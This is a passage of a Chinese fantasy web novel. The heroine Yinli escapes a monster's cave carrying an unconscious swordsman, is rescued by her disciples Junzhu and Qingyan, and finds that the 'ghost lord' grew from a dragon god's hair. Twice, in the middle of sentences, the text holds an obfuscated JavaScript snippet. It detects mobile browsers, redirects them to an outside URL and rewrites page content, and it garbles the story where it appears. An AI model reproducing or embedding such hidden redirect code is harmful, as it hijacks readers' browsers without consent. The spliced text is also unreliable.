哗啦—— 大量脓液流了出来,将本就愈涨愈高的污水,几乎已经漫到银梨的大腿。 这是银梨目前为止见过最大的一个鼓包,足有两三个人那么大,凭先前的经验,里面如果不是大胖子,那恐怕得是超过八尺长的成年棕熊。 然而,在浓水流完之后,银梨突兀地感受到强大的仙气。 黑色的衣袍滑落出来,接着掉出一柄金剑,最后,是男人冷峻的脸—— ……谢沉霄! 竟然,是谢沉霄! 银梨做梦都没想到,她会在这里把谢沉霄扯出来! 他双目紧闭,没有意识,用一重一重深厚的仙气护住自己,因此毫发无损。 一直回荡在银梨耳中,但始终分辨不清的声音,这一刻终于清晰起来—— ——谢沉霄。 那一定是谢沉霄的声音。 他虽然陷入沉眠之中,但在沉眠之前,用了留声之术,以警示银梨。 谢沉霄自从问了她月东林邪鬼的特征后,便音讯全无,银梨本以为他应该是去找那个邪鬼了,不曾想竟是在这里! 若从银梨耳鸣开始算,谢沉霄起码在这儿有三四天了! 谢沉霄并无意识,鼓包一破,他便直直地向银梨的方向倒来—— 银梨费劲才将他撑住。 她倒不怕谢沉霄重,但谢沉霄的体格过于高大,若没有意识,搬运起来恐怕十分不便。 尽管不知道谢沉霄为何会被困在此地,但银梨的不安无疑到达顶峰—— 论起修为,她占出身的优势,要胜过谢沉霄。 但论起武力,谢沉霄是当世第一剑修,资质过人,未必在她之下。 连谢沉霄都能被死死困住,不敢想象这个洞穴背后是何等凶煞的鬼物。 银梨背后发毛。 ——不可久留! 她用力摇晃谢沉霄,见唤不醒,一刻都不敢再耽搁,硬是背起谢沉霄,又单手捞起小女孩和穿山甲。 已经没有时间再慢慢找路,万幸谢沉霄身上有剑,银梨便取了他的剑,直接破壁! 谢沉霄的本命剑,以仙神之血铸剑,天灵之气养剑,无坚不摧,无所不破! 剑修的本命剑通常不外借,本命剑与剑修本人心意相通,不会轻易接受外来者使用。 但不知怎么的,或许银梨与谢沉霄本就是朋友,这把剑被银梨握住后,只是震颤了一下,就轻易接受了银梨的驱使。 银梨一剑扎入洞壁之中,插到最深,狠狠一撕,顿时拉出一道大口子! 洞穴猛颤起来,像要让银梨无法战力一般开始颠簸,某处发出惨烈的尖叫。 银梨竭力维持住重心,对尖叫如若未闻,又是一剑—— 谢沉霄的剑锋锐无比,削骨如泥,但这洞壁实在太厚,还非常绵软,砍下去的手感一言难尽,银梨身上还带着三个活物,分外吃力。 足足三剑,才破一道壁。 然而一道壁之后,又是一道壁。 银梨扛着三个活物,咬牙往外冲。 已经不知道砍了几道壁,但还看不到出口,反而是四面八方的嘈杂声,越来越清晰。 嘶嘶……嘶嘶…… “参见……参见……” 能够控制住谢沉霄的东西绝非等闲。 银梨集中精神,寻觅线索,试图探究其真身。 “参见……鬼君!” “……参见……鬼君!” 周围的杂音十分含糊,但银梨在第一次听清完整的句子时,她的思绪像炸了开来。 ——鬼君! ——鬼君临世,苍生将亡! 云舒神君曾经预言过的事,在脑海中发出轰然巨响。 鬼君?! 这个东西,有可能就是鬼君吗?! 一旦联想到这个关键词汇,似乎一切都云开月明,之前始终听不清的杂音,补上缺漏后,都能够听得清了—— “鬼君……在上!永世!不朽!” “鬼君在上!万世……长存!” 不敢相信! 他们一直在寻找鬼君的蛛丝马迹,一直一无所获,不想线索会来得如此突然,还直接让银梨陷入危急之中。 银梨抿紧嘴唇。 若真是鬼君,银梨单枪匹马,连她都没有十足的自信能顺利逃脱。 ……空气前所未有的焦灼。 银梨逼自己保持冷静,一切还没有论断。 现在不能东想西想自乱阵脚。 最重要的,是要先找到出路。 她屏息凝神,尽可能感知周围的状况,寻找最近的出路。 那些细碎的“嘶嘶”,很像是小邪祟蹿动的动静。 尽管看不见,但这附近,一定有很多小邪祟。 至于那些奇怪的话语…… 银梨细细思索着。 在她听来,那些话语,生涩,僵硬,像是某种本没有咽喉的东西初次开口的牙牙学语。 而且,每当它们提到“鬼君”二字,里面都蕴含着难以言喻的亢奋。 ……小邪祟。 ……话语。 一个可怕念头在银梨脑中出现。 该不会……是小邪祟在口吐人言吧。 两者被联想到一起,银梨头皮顿时发麻。 这世上不是没有具备思维、语言能力的邪物,但不能是小邪祟。 小邪祟是最低等的邪鬼,只要修炼过的人,随便一剑就能劈散。 要是连小邪祟都有了口吐人言的能力,那世上的其他邪物,究竟会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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形势紧迫,银梨无暇细想,但这无疑给了银梨喘息的时机。 她抓住这个空隙,用力一击—— 呼——呼呼—— 恍惚之间,她好像听到了一点外面的声响。 应该离外界已经很近了! 银梨终于看到了一丁点希望。 但,污水也漫到了咽喉部。 银梨不敢想象这么恶心的东西灌进嘴里会是什么感觉,她铆足全力,死命一砍—— 哗啦。 这一击,几乎是用凿的。 最后一道洞壁,破开了一个大口子! 脓液涌了出去,冷风倒灌进来。 灵火在刹那间耗尽熄灭。 洞穴之外,是没有月亮的黑夜,风声萧索,但即使如此,外界的空气也还是比洞里清新。 银梨来不及多想,那些丝线还拽着她,她很难动,所以她当机立断,使出最后的体力,先将小女孩、穿山甲都从裂缝中塞出去,然后是谢沉霄。 几乎是眨眼的功夫,好不容易破开的缝隙,就开始快速愈合。 没有月亮的夜晚,是邪物的主场,它们复原的速度将会超乎想象。 银梨近乎力竭。 在缝隙就要合拢的刹那,银梨骤然使劲,举起长剑,狠狠砸进裂缝中,将它撑住! 污水再度高涨,无数发丝紧紧绕住她的腿、缠住她的头发,将她往后拽去—— 长剑险些脱手。 脓液似乎还有削弱意志的作用,连意识都在迅速消失。 银梨用手指极力勾着剑柄,与之僵持,却无法阻止体力与意志的迅速流散。 银梨实际早已濒临耗竭。 使用别人的本命剑极为消耗气力,她背了两个人和一个穿山甲,中间还不知道劈了几个时辰的肉壁,这个洞穴还在不断借头发磨她,损耗太大。 这个“鬼君”肯定也被她伤了不少,但银梨尚没有弄清对方的本质,敌在暗,我在明。 更何况,这里不知离灵地究竟有多远,太阴星无法庇护,又是深夜。 没有明月的幽冥之中,鬼物的优势大到不可估量。 视线越来越模糊,纵然她竭力抵抗,也在丧失意识的边缘。 银梨吃力地举起剑,将它靠近自己的手臂。 ……其实,她还有最后的手段。 只要燃烧神血的话…… 银梨还不想死,她还没看到姐姐重返世间。 不过,如果这真是鬼君,也算有同归于尽的价值。 只要能处理掉鬼君,后面的事,都可以交给青霜。 必须要做决定…… 银梨抬起手,将剑贴上自己的血肉,决心逐渐凝聚。 好累,好痛,在这种状况下还拼尽全力燃烧神血的话,最后一定会死得非常凄惨痛苦吧。 但是,可以杀了鬼君。 而且,终于,能回到姐姐身边了。 意识只剩一线,几乎只剩下最后一丝清醒了…… 剑将要落下—— 与此同时,那被称为“鬼君”的庞大邪鬼好像也决定发动最后一击,所有发丝骤然收紧,猛地向银梨扑去—— 霎时。 就在这即将交锋的一刻,一种与先前截然不同的阴冷气息扑面而来,强硬地插足在两道力量之间! “找到你了。” 没有征兆。 耳边,传来无比温柔的声音。 银梨只觉得自己刹那间被卸了力,意料之外的来者让她毫无准备,剑不自觉地脱了手。 腰间的鬼信物微妙地亮了亮。 银梨的剑没来得及落下,但“鬼君”的攻击也没落到她身上。 不知道发生了什么,她听到那“鬼君”发出撕心裂肺的惨叫。 然而,银梨已无暇顾及。 诡异的阴风不知从何处而来,从背后包裹住了她,像有一双冰凉的手拥她入怀,并轻触她的脸。 如此幽冷,以至于银梨没感到安全,只感到另一种纠缠。 对方的声音不急不缓,深情似水,带着与眼下的情景格格不入的缱绻。 “他”问:“告诉我,是不是这个东西,让你如此狼狈?” 16.第十六章 后面发生的事,银梨不确定是不是一场梦。 独自支撑到这里,她早已筋疲力尽,意识稀薄。 凭着丝缕残存的神智,她听到搏斗与反击的声音。 厚实的躯块被一次又一次钝击,毫不留情,某种东西本能的、痛不欲生的嘶吼震颤着银梨的大脑,浆液爆开,粘稠地溅出来。 最后,有什么,被硬生生从血肉中拔了出来。 被剥离的惨叫格外刺耳。 一个浑厚而痛苦的声音不可置信地道:“你是什么,竟有这般实力,连我都无法——” 对面没有回应。 钝击之声又起。 没过多久,声音转为求饶:“你若是垂涎鬼君之名,你我大可不必互相残杀,只消合作即可! “吾类之物虽说通常各自为政,但今时不同往日,吾等被月婵压制千年之久,雪耻之机近在眼前,应当以大局为重,断不可因自相残杀而错失良机,因小失大!” 没有回应。 钝击之声未止。 没过多久,那声音便气若游丝,只余残喘之力:“此女对月宫分外重要,只要解决掉她,凡境一击即溃,世间再无阻挡吾类之力!凡世本就任万物横行,唯有吾等平白受千年抑制,你难道要放任如此大好时机流失?你——呕——” 脓液喷涌,在一下重得毛骨悚然的钝击以后,那东西没再动了,只余下濒死前微弱的喘息。 直到这时,银梨才再一次听到月东林邪鬼的说话声。 隔了这么久,她竟没有忘记这个嗓音。 清冽而空灵,平淡之中带着些许疑惑。 “——鬼君?” “他”问。 “那是什么?” ………… …… 意识彻底断裂。 最后残留在耳中的,是鲜活的血肉被咀嚼吞噬的声音。 ………… …… 朦胧之中,有什么托起了她。 阴冷的触感触及身体,银梨已然无力,身体几乎无法动弹,视野模糊,她能做的,就是在冰冷的气息靠得很近时,举起谢沉霄的本命剑,极力给出最后一击—— 这一击似乎奏了效。 短促的凝滞后,寒气退去了。 ………… …… “……公主!公主!” 不知过了多久,再次苏醒的时候,银梨听到君竹的声音。 “……您还好吗?有没有哪里疼?” “君竹师姐,你去看其他人的情况,我来背公主。” 朦胧之中,有谁扶住了她的肩膀。 银梨浑身沾满脓水,恶臭弥漫鼻腔,黏腻的触感占据着她的感知。 在那个污浊的管道中泡了那么久,她很清楚自己的状态肯定糟糕透顶。 但是,对方没有丝毫的犹豫,直接将她从泥泞中抱起,让她拥靠在自己肩上。 “……公主,冒犯了。” 对方轻轻地说。 然后,银梨被背了起来,她能感觉到对方少年般纤瘦的身形,并不比自己宽大多少,但在此刻,却让人觉得可靠。 微弱的颠簸之中,银梨的眼睑微抬,往前看去。 一节雪白的脖颈,不太明显的喉结,清秀的面颊上,眼角嵌着一颗小小的泪痣。 ……磬言? 银梨想要唤他一声,但实在没有了力气,微微动了动手指,便趴在他背上闭上眼。 ………… …… 再醒来的时候,银梨泡在温暖的灵泉中,并未着衣,全身黏腻的触感皆已消失。 有人在为她梳头。 很熟悉的气息。 “……君竹?” 银梨唤了一声。 君竹马上在身后应了,道:“公主,您醒了?” 银梨点点头,试着直起身体,靠在灵泉边上。 君竹松了口气:“太好了,能这么快苏醒,说明您并未伤及太多,只是体能耗尽,所以过于疲倦罢了。” 银梨嗓子还有些不适,她清了清,问:“你们怎么找到我的?还有,那个鬼君……怎么样了?” 君竹十分震惊:“那个东西,竟是鬼君吗?!” 其实银梨也不很确定,但三言两语很难解释清楚。 她只追问:“你们找到我的时候,是什么情况?” 君竹说:“场面看上去很惨烈,不太看得出发生了什么,但到处都是散发着恶臭的肉块。 “与公主战斗过的那个异物,大概是某种能通过吞噬活物来滋养自己的怪物,属于是有肉身的鬼怪,但它所谓的躯体,基本都是腐物。 “我们到的时候,它被砍成那样,实在看不出最初的形态了,不过肯定大得很离谱。最近这一百年,凡间尸骨遍地,实在太适合它生存了,真不知道它到底是吃了多少,竟能长得那般夸张…… “那样铺天盖地的邪气,还有让人窒息的恶臭,实在恐怖,公主若说它是鬼君,我绝不会有所怀疑……如此之物,公主竟能凭一人之力杀了它,真不愧是月宫之主。” 银梨听到最后,觉得不对。 “……我杀的?” “难道不是?” 君竹疑惑。 “我与磬言到的时候,只有公主一人看上去有过搏斗痕迹。” “……应该不是我。” 银梨其实不太记得请了。 她轻抚额角,只觉脑中钝痛不止。 最近她经常觉得自己的记忆有混乱地方,要回忆起极度虚弱状态下的事就更为困难。 哪些画面是真切的,哪些是她的幻觉,界限很不明朗。 银梨问:“你们到的时候,有没有觉察到附近还有存活的异物鬼邪?” “这……没有。” 君竹当即警觉。 她责任感向来很重,听银梨这么说,便认为是自己的失职,内疚地道:“当时我和磬言的注意力都在公主身上,因为周围都是未散的邪气,便只想尽快将公主带到安全的地方……对不起,是我疏忽了。” 银梨其实并无责怪之意,但她知道君竹的性子容易钻牛角尖,便安慰道:“不要紧,我没有怪你的意思,只是问问罢了。你们能及时找到我,我已很是感激。” 君竹却过意不去,内省道:“现在想想,当时的环境,若有邪鬼要隐藏在其中,一定十分容易。我本应第一时间就想到该仔细检查,排除危险,却草率地只将所有邪气都当作是那个巨大怪物死去的余气,甚至直到公主提醒我都没有想到……实在太不谨慎了。 “磬言资历尚浅,考虑不周可以理解,但我身为师姐,理应更加成熟细致。等下,我再回去搜查一遍。” 银梨点了点头,便作同意。 这时,她环顾四周,问:“说起来,这里是……?” 全然陌生的环境,草木蓊郁,应当是在树林中。 银梨能感受到附近有神女像的庇护之力,还有温暖的灵泉可以清洗身体,作为临时的休憩之处,可以说条件相当好了。 君竹回答:“这里是一个银月城和天水城之间的荒林,自从月神陨落后,大抵就没什么活物在此生息了,早已沦为鬼巢。 “昨日,公主在月宫中失踪,银月城大乱,正一筹莫展之际,此地忽然邪气暴涨。磬言说这里肯定有问题,主动提出要带人过来寻找。 “但此地鬼气冲天,邪障过重,除了我和磬言,跟来的弟子都进不来,便只能我们两人单独进入,好在顺利找到了公主。 “本来找到了人,我们应该尽快离开,但现在外面瘴气未散,我们这里除了我们三人,还有公主救出的伤患,要带着所有人都平安无事地穿过鬼瘴,还是过于危险了。 “磬言便说,最好找个地方落脚,然后找到了这里。” “……磬言?” 银梨听闻过程,有些惊讶。 没想到主张来此地寻找的人,会是磬言。 磬言平日不争不抢,不像会主动做决策的人,而且听君竹的描述,磬言似乎不仅仅是主导发起了这次的行动,还越过君竹这个师姐,做了许多关键的决定。 君竹提及这些,也颇为感慨:“是啊。而且,真亏磬言能找到这么个地方。这里不但有神女像庇护,还有温泉,甚至还有个简单的茅草屋,应当可以简单住上几日。 “若是没有这些,只怕连给公主清理身体都困难。 “这里应该是凡境尚未沦陷时,附近月宫弟子休息用的据点。 “磬言说,他认识在这个林子中修炼过的朋友,隐约记得对方曾提过有这个地方,便想试着找找,没想到竟真能找到。 “也算我们运气好了,这个林子起码荒废一百年了,磬言竟能认识知道这里的人,还能顺利找来,实在不易。” 银梨听了,也有些意外。 运气好……是吗?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17018938|194197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她微微一凝。 磬言几乎一直待在她身边,内向安静,没什么存在感。 银梨本以为除了她和君竹以外,磬言应该没有太多熟悉的人际关系,没想到在她看不见的地方,他还有能聊起这些的朋友。 银梨问:“说起来,磬言呢?” 君竹说:“他应该正在外头洗公主的衣裳。 “公主救出来的幸存者,虽然我们也进行了清理和救治,但还需要人照看,留磬言在外面比较合适。 “其实,是磬言将公主一路背到这里来的。不过,他外表再怎么年少,实际终究是个正经男人,还是有不方便的地方。公主的事,就都交给我了。” 银梨点头,并无异议。 只是…… “这么一说……” 银梨轻言。 “一直跟在我身边的男弟子……磬言好像还是第一个。” 长留在银梨和青霜身边的月宫弟子,通常是由前一任在离开前推举、经银梨或青霜本人同意后,才会上任。 一般来说,都是女弟子跟随银梨,男弟子跟随青霜。 今日回忆起来,银梨才发现,在跟随过她的所有弟子中,磬言似乎是唯一一个男性。 ……磬言是怎么选到她身边的来着? 时间久远,银梨几乎想不起当时的任何细节。 磬言个性不张扬,各方面都朴实平常,他就像路边随意的一株草、一棵树,等注意到的时候,早已自然而然地存在于此,无人会格外关注。 往日从未感到奇异,今日一聊,才发觉是特例。 银梨想了想,说:“等一下,我去看看磬言。正好,我还有些情况想问他,也该向他道谢。” 君竹不疑应下:“是。” * 君竹说这个据点还有个草屋,果然不虚。 这里实际甚至有两三间屋子,乍一看沐浴生火休息都不是难事。 银梨进屋的时候,手指先在木桌上点了一下。 很厚的灰尘。 除了床铺收拾干净了,其他地方都透着经年累月的荒破,不过幸运的是家具大多完好,不知是不是神女像的庇护作用,屋子的主体都没怎么被邪气和岁月腐蚀,角落里甚至有好多看上去能用的陶罐瓦罐。 浓雾未散,方才听君竹所言,外面的鬼瘴还不知多久能散去。 有可能很快,也有可能要经历数日。 看着指尖的灰,银梨心底忽然生出一种奇异之感—— 这里条件固然不算好,但一切都像是都为了长住准备的。若真的出不去,在这里住上数月,都完全可行。 只有他们几个人,与世隔绝,不问世事。 …… 床前,磬言背对银梨,正在照料小女孩和穿山甲。 没有见谢沉霄,或许是在别的屋子里。 磬言听到声响,刚一回头,见到银梨,又连忙低下,似乎不太敢多看。 “公主。” 他尴尬地唤了一声。 也难怪,大概谁都没有想到,他们找到地方修整以后,最缺的物资居然会是衣裳。 君竹和磬言为营救赶来,是带了一两身换洗衣物以防万一的。 月宫弟子本来更衣需求不大,但他们没料到一来会是那样的情况—— 银梨和她救出来的人全都需要清洁,有些衣服破烂不能再穿,而且那些肮脏的浓水无法轻易去除,恶臭与邪气一样逼人。 总之,现在一群人有一件算一件,能蔽体就行。 银梨穿了君竹的里衣,多披了件外衫,长发披散着,连雪白的狐耳都还带着些潮意,其实并不算很不得体,但与她平日里身为月宫主人的端正模样相比,多少有些不同。 银梨看得到,磬言耳尖通红。 她当然知道磬言在别扭,但条件有限,现在也挑不了什么了。 银梨倒没那么介意,招手道:“你过来一下。” 磬言犹豫,勉强地向前挪了几步。 银梨端详着他。 在找到她之前,磬言与君竹不知道经历了什么,两人身上都有血污痕迹。 磬言大概没找到功夫换衣服,伤口血迹都看得见,不仅全身都有伤势,脸上也留了很长一道口子,灵气波动十分不稳。 “你先不要动。” 银梨垂下眼睫,轻轻地说。 她在手中点起一团灵火,探向磬言。 17.第十七章 银梨的气息与神女月婵一脉相承,是与太阴星一样的神力。 尽管力量远远比不上姐姐,但仍然会有驱散邪物、净化污浊的作用。 如此纯净的灵活,对月宫弟子来说是平复灵气的疗愈,但对邪物,则是伤害极大的武器。 银梨靠得那么近,磬言有点不自在地想要躲闪。 窗外,深林幽静,树木葳蕤,微暗的草屋中,唯有银梨掌心的这一盏灵火通透清明。 两人的距离拉近,灵火光辉之下,银梨能清晰地看到少年皮肤上浮起薄薄红晕,不似作伪。 然后,在银梨的灵火光辉中,磬言的伤口,缓慢愈合了。 磬言极力掩饰着自己的害羞异状。 他用手背遮掩脸上曾经的伤处,故作镇定地道:“公主的灵气泡了灵泉以后,才刚有所恢复,就这样用在我身上,实在太浪费了。” 银梨见他伤势恢复,眼神微微柔和几分。 她说:“你与君竹已经算是我的救命恩人,我不过做些力所能及的回报罢了。” ……是她太多疑了吧。 银梨注视着磬言已然痊愈的伤处,在心中想。 磬言与君竹二人来到此地,是冒着生命危险来救她。即使如此,她还是因为一些细微的别扭感,便对磬言心存怀疑,多少有些忘恩负义。 只是,以眼下的形势,实在容不得她不如履薄冰,哪怕只是一点疏忽,都有可能将众人带入更糟糕的处境。 银梨舒了口气。 她说:“我只是过来看看你的情况。既然你这里看着还好,那你继续留在这里,我和君竹出去一下。” 银梨刚转身,磬言立即追问:“公主要去做什么?怎么只带君竹师姐?” 银梨道:“我之前失去意识了,不清楚昏迷后发生了什么,现在想回最后晕倒的地方看看。 “君竹本来说她再回去检查,但我想想许多情况只有我清楚,还是我亲自去比较好,所以我们一起去。” 磬言忙道:“公主,您等等!” 说着,磬言便跑了出去,不过须臾,又回到屋子。 回来以后,他说:“公主,我和君竹师姐商量过了,还是我陪您去吧。 “因为您与救出来的小女孩都是女孩,方才大部分活都是师姐做的,我只是在外面干等着。 “现在师姐恐怕已经有些累了,而我体力充沛,还是我跟着您更为妥帖。” 谁跟着其实无所谓,但磬言竟能在这么短的时间里说服君竹,倒让银梨有些惊讶。 要知道君竹向来责任感重,连不是她的事她有时都会将责任担到自己肩上,而这回君竹还认为是自己的失职,银梨很难想象磬言是怎么让君竹放弃对此负责到底的。 银梨不由对磬言侧目相看。 不过,磬言说得有理,君竹向来活得紧绷,让她歇歇也好。 银梨如此一想,便点了头。 * 二人离开据点的时候,君竹似乎正好收拾了灵泉那边的东西,过来与磬言换班。 两人彼此颔首,擦肩而过。 君竹竟真没什么意见。 银梨心中愈发惊奇。 两人出了据点,便要辨识方向。 战斗结束的地方离据点有一定距离,但即使如此,那巨大怪物散发出的尸臭还是成了清晰的指向标。 银梨嗅觉灵敏,不需要磬言指路,她凭着残留的血腥味,就精准地找到了她意识最后存留的地方。 ……可怕的残骸。 即使早有心理准备,亲眼从外部看到那个东西的真容,还是让银梨产生了心悸的呕吐感。 这个怪物,像尸山尸海堆砌而成的巨虫,散发着恶臭的身躯经络虬结,不断有腐物涌出。 暴露在外的甚至不是这东西的全貌。 它有很大一部分身躯都埋在地下,露在地面上的部分有些像是为了应对银梨的攻击而在痛苦中被迫拱出地面,还有一些像是硬生生从地下抽离出来的,但即使是露出来的部分,看上去也已经像是一条三抱之粗、皮肤全部腐烂的长龙。 被它掘开的土壤肉眼望不到头,起码长达数里,拱出来的腐肉曲曲折折地盘着,仅仅是露出地面的体积就有如此,更让人难以估量它真正的大小。 银梨在明显是剑伤的位置屈身,用手指触碰地面的脓液。 从脓液之中,流出一绺绺粗长的头发。 ……这些,应该都是她用谢沉霄的本命剑造成的。 不过,这都只是整个巨大物体伤势的一小部分。 真正的致命伤—— 银梨转向另外一处更大的、更可怕的伤口。 这部分怪物的肉躯几乎都被击碎了,像被房子大的榔头一遍又一遍狠狠地锤过一样,不要说本来面目,甚至已经烂成了腐臭的肉糜。 然而,还是看不出究竟是被什么武器打成这样的。 银梨细致地检查起来。 头发,头发,伤口里面、外面,除了头发,还是头发。 ……难道是头发把这些流着头发的肉块戳成这样的吗? 可是,这些头发显然是怪物躯体的一部分,它怎么会用自己来攻击自己? 银梨蹙起眉头,有些不甘无功而返。 不过,这个地方的击打十分精准,不像是无谋而为。 这个“鬼君”的本体如此巨大,普通部位受创应该不会有太大的伤害,击打者似乎也没有浪费时间去攻击“鬼君”躯干,就专抓着这个地方下手,难道这里,是特殊的弱点吗? 这样一想,银梨便闭眼感知了一下,竟真找到线索。 她眼神凝肃,忍着恶心,将手探入掺着脓液和头发的腐肉肉糜之中。 寻觅了一会儿,从里面掏出了什么东西。 “……原来如此。” 看着手中之物,银梨呢喃。 磬言凑过来看,问:“这是什么?” 银梨回答:“头发。” 准确地说,是龙神的头发。 这就是这个巨大怪物的真面目。 在银梨手上的,是一支年代久远的发簪,有一根夹杂龙威的细长发丝缠绕在发簪的尾部,散发出慑人的阴气。 哪怕已经成了这般模样,银梨也不会分辨不出神物。 簪子不过附带,这根头发,才是这邪鬼强大的关键。 想来是仙神还未大批回归仙界之时,曾有一位龙神游历至此,因为某些缘故遗落了这支发簪,而发簪上缠落了这一根头发。 月神陨落之后,凡尘被邪气笼罩,发丝浸润在日积月累的阴冷之中,逐渐扭曲成了不断吞噬周围万物的怪物。 银梨对磬言大致解释了一下前因后果,蹙眉道:“想不到……竟连神物都会被这片黑暗侵蚀。” 但凡是神身上落下来的东西,无论是头发、指甲还是血肉,都会有与凡物不同的力量。正如月婵为银梨取下的发丝,就化成了一个护身符。 若是某位神君的头发吸收阴气化成了鬼怪,那定然不是寄托于凡尘之物的异端可以比拟。 而且,龙在凡世间,被认为是帝王的象征。 有书云—— 龙,鳞虫之长,能幽能明,能细能巨,能短能长,春分而登天,秋分而潜渊。 这个邪鬼本体不仅是神的发肤之物,还残有些许龙威,堆砌出的庞大腐身长虫般的形态隐约之间也有相似。 尽管与真正的龙有霄壤之别,但其他鬼物会将它奉作鬼君,将它认作邪物的帝王,也是情理之中。 谁能想到如此威武神圣的天上灵兽,落到无尽长夜的阴邪之中,竟会成这般样子。 神物化作鬼怪,过去并无前例,简直闻所未闻。 仙神的气息和力量,在凡尘向来被认为是抵御黑暗的可靠手段。 这正是凡间供奉、敬畏神的原因之一,也是月宫至今并未放弃,守护着仅有的凡间灵地的依靠。 要是连神物都能被黑暗腐蚀,那岂不是意味着,在当今的局面之下,纵使是真正的仙神,实则也与会被邪气影响的凡尘生灵并无本质之别? 银梨一凛,有很不好的预感。 她问:“磬言,我是怎么从银月城失踪的?你们又是怎么发现我不见了?你们赶到这里来之前,银月城是什么情况?” 神物毕竟是神物,神物化作的鬼怪,以银梨现在检查的情况来看,哪怕已经成了这幅样子,它的本体仍残留一丝过往仙界的气息。 她在灵地设下的屏障,从来都是防止纯粹的鬼怪,从未想过要防仙神。 若那个“鬼君”是这个来路……还真未必能防得住。 银梨从未往这个方向想过,此刻一想,方觉惊心。 仙界古籍中记载,在仙神之中,有一种奇术,名为“缩地”。 缩地之术,能缩地脉,化远为近,千里存在,目前宛然,放之复舒如旧也。 若通此术,即便千里万里之遥,顷刻之间便可到达,隔空取物亦非难事。 银梨平日睡在空心树洞之中,紧贴地表,这“鬼物”又隐匿在地下,银梨一觉醒来便到了数千里外的诡异之处,不正符合“缩地术”的特点吗? 这个“鬼君”既然是以吞噬活物来增强自己的类型,那通常来说会有吸引猎物的手段。 银梨在被带到这里之前,曾经出现长时间的头疼、耳鸣,后来证实,那应该是谢沉霄的呼唤声。 现在想来,那或许是“鬼君”的陷阱,也是它追寻猎物的方式。 如果银梨没有猜错的话,谢沉霄去找月东林邪鬼时,因为某些原因寻到了这片林子,被“鬼君”俘获。 谢沉霄动用留声之术警示银梨,本是想让银梨提高警惕、远离危险,却不想一切都在“鬼君”的预计之中,甚至连这个举动本身,可能都是“鬼君”的操纵或诱导。 “鬼君”跟随着谢沉霄留声之术的引导,找到了银梨。 由于它的本体是龙神的头发,银月城的屏障并未挡住它。 它再利用缩地之术,便将银梨带离月宫,吞噬到了自己体内。 银梨遍体生寒。 异类之术变化多端,不在常规构架之中,因此才会有惊悚诡异之感。 但这未免也太过了。 缩地之术纵然在仙界,也是只有少数仙神才会使用的高等术法。 这“鬼君”却将它融合到了自己的异术鬼法中,那岂不是说,这类神物异化的怪物,不但拥有鬼怪的优势 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这些年来,月宫如强弩之末,高压之下,许多人都是凭着最后一线意志在强撑,绷紧的弦只要稍有差池,就有可能断裂,稍有变故,就足以让无数人崩溃。 听磬言所言,他们行动是征得青霜同意的。 有青霜主持大局仍无多少人响应,只怕银月城已全然失去了秩序。 银梨当机立断:“不要管鬼瘴了,我必须立即回银月城。你与君竹留在这里照顾伤员,我一个人出去。” 银梨和月宫对银月城来说,有绝对的象征意义,青霜或许也有一定威望,但他长年安于副城主的位置,声望已不及银梨。 银月城现在的状况,恐怕非常不好,一触即发。 在历史上,有许多灵地都不是溃于邪鬼,而是绝望弥漫下的人心涣散。 银月城是存续至今的最大灵地,是凡间希望的寄托,一旦溃败,后果不堪设想。 银梨转身就要走,下一刻,却被一个力道抓住了手腕—— 磬言的眼神前所未有的认真:“公主,你身上有很多伤,就这样独自闯出迷障,太过凶险。 “还是先在这里修整几日吧。银月城固然重要,但若是公主有什么闪失,就得不偿失了。” 磬言句句是在为她考虑。 但他脸上没有笑。 在阴暗的树林中,秀气的少年面容,仿佛带了些寒意。 银梨摇了摇头。 “银月城的情况我比任何人都清楚,再不回去,就来不及了。而且,关于那个‘鬼君’的很多情况,我需要尽快和青霜商量。” 不知是不是错觉,银梨话音刚落,笼罩着森林的迷雾一下子浓了起来。 触及皮肤的空气骤然湿冷,不知何处飘来一丝夜息香的气味,夹在“鬼君”尸身的腐臭之中,显得很不自然。 磬言道:“这些事有那么重要吗?公主竟不顾自己的身体,连一夜都不愿意歇。” 银梨的回答毫不犹豫:“银月城一旦崩溃,月宫百年来的努力便毁于一旦。即便我个人得以保全,凡世不存,在没有姐姐的仙界独活,也没有什么意义。” 银梨的眼神过于坚决,几乎含着心甘赴死的无畏。 磬言似乎被她的视线刺了一下,手微微松了两分。 他说:“可是,我比起银月城,却更希望公主能有一处安全的栖身之所,安然无恙。” 银梨愣住。 磬言的眼神,让她不自觉地心软。 “……也不仅是因为银月城。” 银梨揭开自己的袖管,露出里面的伤口。 “这里对我来说,不是久留之地。” 在灵泉的滋润下愈合的伤口,在瘴气中像受到了腐蚀,一下子又扩散开来,周边缠绕着令人不安的邪气。 “……那个邪鬼给我造成的伤会腐化周围血肉,极难痊愈。而这个地方的鬼瘴太重,即使躲在神女像的庇护之处、天天泡在灵泉里,也没有人能保证我的伤势能在这里好转,更没有人能保证雾气什么时候会散。” 银梨说。 “越拖下去,变故只会越大,或许会落入既没有保住银月城,也没有保住自己性命的境地。” “我要回银月城,是在寻求最大的希望,尽快守城,也尽快得到妥当的治疗。” 银梨分析完后,磬言没有立即说话。 过了很久,忽然,浓雾拂开,周围虽然没有风,但绵密的鬼瘴却像被什么吹散了一般,瞬间变淡了。 银梨看去,怔了怔,道:“鬼瘴散了。” “嗯。” 磬言似乎不太意外。 他松开银梨的手腕,笑道:“我们回银月城吧,趁鬼瘴没恢复,尽快。” 银梨如梦初醒。 …… 两人以最快的速度赶回了神女像所在的据点。 这里鬼气极重,鬼瘴散去,可谓机不可失,失不再来,绝不能耽搁。 君竹显然也意识到这一点,早将东西都收拾好,等候多时。 磬言背起了小女孩,君竹抱着穿山甲。 